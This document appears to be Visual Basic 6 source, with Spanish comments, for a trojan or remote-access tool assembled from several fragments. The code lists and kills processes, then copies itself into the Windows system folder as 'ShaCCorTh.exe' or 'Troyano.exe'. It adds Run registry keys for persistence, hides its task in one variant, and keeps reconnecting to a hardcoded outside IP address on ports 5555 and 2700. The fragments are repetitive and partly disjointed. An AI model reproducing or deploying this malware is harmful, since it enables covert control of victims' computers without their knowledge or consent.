'****Procesos
'Hace una "foto" de los procesos actuales
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32.dll" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
'Coge el primer proceso
Private Declare Function Process32First Lib "kernel32.dll" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
'Va cogiendo todos los demas procesos
Private Declare Function Process32Next Lib "kernel32.dll" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
'Cierra el Handle de el primer proceso
Private Declare Function CloseHandle Lib "kernel32.dll" (ByVal handle As Long) As Long
'Abrimos un proceso conociendo el PID
Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccessas As Long, ByVal bInheritHandle As Long, ByVal dwProcId As Long) As Long
'Matamos un proceso abierto
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Const TH32CS_SNAPPROCESS As Long = 2& 'Para que la foto sea de procesos
Public Const MAX_PATH As Long = 260
'Tipo para coger info de procesos.
Private Type PROCESSENTRY32
  dwSize As Long
  cntUsage As Long
  th32ProcessID As Long
  th32DefaultHeapID As Long
  th32ModuleID As Long
  cntThreads As Long
  th32ParentProcessID As Long
  pcPriClassBase As Long
  dwFlags As Long
  szExeFile As String * 260
End Type

'Funcion que mata un proceso
Public Sub KillProcess(PID As String)
Dim myProcess As Long
Dim AppKill As Boolean
'Abrimos el proceso con el PID que hemos recibido
myProcess = OpenProcess(1&, -1&, PID)
'Matamos el proceso que hemos abierto
AppKill = TerminateProcess(myProcess, 0&)
'Cerramos el proceso abierto
CloseHandle (myProcess)
End Sub

'Funcion que coge los procesos
Public Function GetProcess() As String
Dim Proc As PROCESSENTRY32
Dim hSnapshot As Long
'Hacemos una "foto" de los PROCESOS activos
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
Proc.dwSize = Len(Proc) 'Le indicamos el tamaño de el tipo
'Cogemos el primer proceso de la "foto" y lo guardamos en Proc
Process32First hSnapshot, Proc
'Hacemos un bucle para que valla guardando en la variable GetProcess todos los resultados (nombre, pid y numero de threads)
    Do While Process32Next(hSnapshot, Proc)
    GetProcess = GetProcess & "|" & StripNulls(Proc.szExeFile) & "," & Proc.th32ProcessID & "," & Proc.cntThreads
    Loop
'Cerramos la "foto"
CloseHandle hSnapshot
End Function

'Funcion que elimina los caracteres nulos de un String
Public Function StripNulls(ByVal OriginalStr As String) As String
    StripNulls = Left$(OriginalStr, InStr(OriginalStr, vbNullChar) - 1)
End Function

'Hace una "foto" de los procesos actuales
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32.dll" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long

Private Sub Form_Load()
Dim ruta As Variant, Residencia As Variant
Dim win
Dim sys
Dim obj
ruta = App.Path
If Right(ruta, 1) <> "\" Then ruta = ruta & "\"
ruta = ruta & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ruta, sys & "\ShaCCorTh.exe"
Set Residencia = CreateObject("WScript.Shell")
Residencia.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ShaCCorTh", sys & "\ShaCCorTh.exe"
Ws.RemoteHost = "200.83.238.77"
Ws.RemotePort = 5555
SName = "ShaCCorTh"
App.TaskVisible = True
End Sub

Option Explicit
Dim ip As String, port As String

Private Sub Form_Load()
Dim Residencia As Variant, Ruta As String, obj As Variant
Dim sys
Dim win
ip = "200.83.238.77"
port = 2700
Timer1.Interval = 1000
Ws(totalindex).RemoteHost = ip
Ws(totalindex).RemotePort = port
App.TaskVisible = False
Ruta = App.Path
If Right(Ruta, 1) <> "\" Then Ruta = Ruta & "\"
Ruta = Ruta & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy Ruta, sys & "\Troyano.exe"
Set Residencia = CreateObject("WScript.Shell")
Residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Prueba", sys & "\troyano.exe"
End Sub

Private Sub Conectar_Click()
On Error GoTo Error
If Not Ws(Index).State = 7 Then
GoTo puente
Else
GoTo Error
End If
puente:
Ws(Index).Close
Ws(Index).Connect ip, port
Error:
End Sub

Private Sub Timer1_Timer()
If Not Ws(totalindex).State = 7 Then Call Conectar_Click
End Sub

Winsock1.Connect

Private Sub Command1_Click()
   On Error Resume Next
   Ws.RemoteHost = Text3.Text
   Ws.Connect
   Timer1.Interval = 2000
   End Sub
Private Sub Timer1_Timer()
If Not Ws.State = 7 Then
Label3 = "Desconectado"
Else
End If
If Ws.State = 7 Then
Label3 = "Conectado"
Else
End If
End Sub